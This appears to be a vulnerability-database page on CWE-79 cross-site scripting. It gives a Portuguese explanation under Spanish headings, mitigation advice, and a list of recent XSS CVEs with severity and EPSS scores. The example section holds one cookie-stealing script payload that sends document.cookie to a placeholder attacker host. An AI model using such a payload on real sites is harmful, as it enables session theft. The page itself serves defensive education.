Fallos del tipo CWE-79

30.509 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-61190MEDIUMA Reflected Cross-Site Scripting (XSS) vulnerability has been identified in DSpace JSPUI 6.5 within the search/discover filtering functionalEPSS 0.2%CVE-2026-35013MEDIUMOpen ISES Tickets < 3.44.2 Reflected XSS via street_view.php thelat and thelng ParametersEPSS 0.2%CVE-2026-35011MEDIUMOpen ISES Tickets < 3.44.2 Reflected XSS via opena.php frm_call ParameterEPSS 0.2%CVE-2025-41442MEDIUMAdvantech iView Cross-site ScriptingEPSS 0.2%CVE-2025-56276MEDIUMcode-projects Food Ordering Review System 1.0 is vulnerable to Cross Site Scripting (XSS) in the registration function. An attacker enters mEPSS 0.2%CVE-2026-35016MEDIUMOpen ISES Tickets < 3.44.2 Reflected XSS via search.php frm_query ParameterEPSS 0.2%CVE-2026-103493HIGHIn JetBrains YouTrack before 2026.2.19422 stored XSS via Mermaid and LaTeX content was possibleEPSS 0.2%CVE-2025-56280MEDIUMcode-projects Food Ordering Review System 1.0 is vulnerable to Cross Site Scripting (XSS) in the area where users submit reservation informaEPSS 0.2%CVE-2026-116761MEDIUMCMB2 <= 2.13.4 - Unauthenticated Stored Cross-Site Scripting via Grouped WYSIWYG Field via Front-End FormEPSS 0.2%CVE-2025-11570MEDIUMVersions of the package drupal-pattern-lab/unified-twig-extensions from 0.0.0 are vulnerable to Cross-site Scripting (XSS) due to insufficieEPSS 0.2%CVE-2025-68387MEDIUMKibana Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')EPSS 0.2%CVE-2025-67990HIGHWordPress GMap Targeting plugin <= 1.1.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-103421MEDIUMWPMobile.App <= 11.84 - Unauthenticated Stored Cross-Site Scripting via '/android_json/search/<value>/0' Path SegmentEPSS 0.2%CVE-2025-65858LOWA Stored Cross-Site Scripting (XSS) vulnerability in Calibre-Web v0.6.25 allows attackers to inject malicious JavaScript into the 'username'EPSS 0.2%CVE-2026-78471MEDIUMAutoptimize <= 3.1.15.1 - Unauthenticated Stored Cross-Site Scripting via Comment Author NameEPSS 0.2%CVE-2026-35010MEDIUMOpen ISES Tickets < 3.44.2 Reflected XSS via patient_JF.php ticket_id ParameterEPSS 0.2%CVE-2026-35012MEDIUMOpen ISES Tickets < 3.44.2 Reflected XSS via add_facnote.php ticket_id ParameterEPSS 0.2%CVE-2026-54432MEDIUMRoundcube Webmail before 1.6.17 and 1.7.x before 1.7.2 allows Stored Cross-Site Scripting (XSS). The issue occurs because the attachment MIMEPSS 0.2%CVE-2026-35007MEDIUMOpen ISES Tickets < 3.44.2 Reflected XSS via single_unit.php id ParameterEPSS 0.2%CVE-2026-22154MEDIUMAn improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Fortinet FortiSOAR PaaS 7.6.0 throuEPSS 0.2%